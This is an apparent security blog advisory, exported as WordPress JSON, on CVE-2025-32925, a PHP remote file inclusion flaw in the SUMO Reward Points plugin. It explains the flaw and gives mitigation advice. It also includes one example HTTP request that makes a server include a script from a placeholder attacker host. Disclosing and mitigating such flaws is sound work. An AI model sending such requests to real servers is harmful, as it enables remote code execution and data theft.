{"id":47330,"date":"2025-06-01T15:46:02","date_gmt":"2025-06-01T15:46:02","guid":{"rendered":""},"modified":"2025-09-14T23:36:46","modified_gmt":"2025-09-15T05:36:46","slug":"cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/","title":{"rendered":"<strong>CVE-2025-32925: Critical PHP Remote File Inclusion Vulnerability in FantasticPlugins SUMO Reward Points<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-32925 vulnerability is a serious flaw in the FantasticPlugins SUMO Reward Points, a prevalent PHP program, that exposes systems to potential compromise and data leaks. This vulnerability arises from an improper control of the filename for Include\/Require statements in PHP programs, leading to what is known as a PHP Remote File Inclusion vulnerability. Any organization or user utilizing SUMO Reward Points <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79769\">versions up to 30.7.0 is potentially<\/a> at risk. Given the widespread use of SUMO Reward Points, it is crucial to understand the implications of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46658-critical-security-vulnerability-in-exonautweb-s-4c-strategies-exonaut-21-6\/\"  data-wpil-monitor-id=\"82466\">vulnerability and implement the necessary mitigation strategies<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32925<br \/>\nSeverity: Critical, with a CVSS score of 8.3<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2409-file-corruption-vulnerability-in-aspect-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"53082\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-877225231\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32291-critical-file-upload-vulnerability-in-fantasticplugins-sumo-affiliates-pro\/\"  data-wpil-monitor-id=\"60201\">FantasticPlugins SUMO<\/a> Reward Points | Up to version 30.7.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25010-critical-vulnerability-in-ericsson-ran-compute-and-site-controller-6610\/\"  data-wpil-monitor-id=\"53659\">vulnerability CVE-2025-32925 occurs due to an improper control<\/a> of the filename for Include\/Require statements in the PHP program of SUMO Reward Points. As such, an attacker can manipulate these statements to include a file from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54343\">remote server that contains malicious code<\/a>. When the PHP program is run, the malicious code gets executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-26625-linux-kernel-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"53083\">potentially leading to a system compromise or data<\/a> leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4229582169\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23394-critical-unix-symbolic-link-following-vulnerability-in-opensuse-tumbleweed-cyrus-imapd\/\"  data-wpil-monitor-id=\"54389\">following is a conceptual example of how the vulnerability<\/a> might be exploited using a malicious URL:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/malicious.example.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable.website.com<\/code><\/pre>\n<p>In this example, the attacker tricks the server into including a file (`malicious_script.txt`) from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32105-buffer-overflow-vulnerability-in-sangoma-img2020-http-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"58551\">remote server<\/a> (`malicious.example.com`). When the server processes the request, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6512-script-execution-with-admin-privileges-on-brain2-server\/\"  data-wpil-monitor-id=\"63487\">script is included and executed<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The recommended mitigation for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58816\">vulnerability is to apply the patch provided<\/a> by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. It is also recommended to follow best practices for secure coding to prevent such vulnerabilities in the future, such as validating all inputs and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48017-improper-pathname-limitation-leads-to-unauthorized-file-modification\/\"  data-wpil-monitor-id=\"52965\">limiting the use of dynamic file<\/a> includes.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-32925 vulnerability is a serious flaw in the FantasticPlugins SUMO Reward Points, a prevalent PHP program, that exposes systems to potential compromise and data leaks. This vulnerability arises from an improper control of the filename for Include\/Require statements in PHP programs, leading to what is known as a PHP Remote File Inclusion vulnerability. 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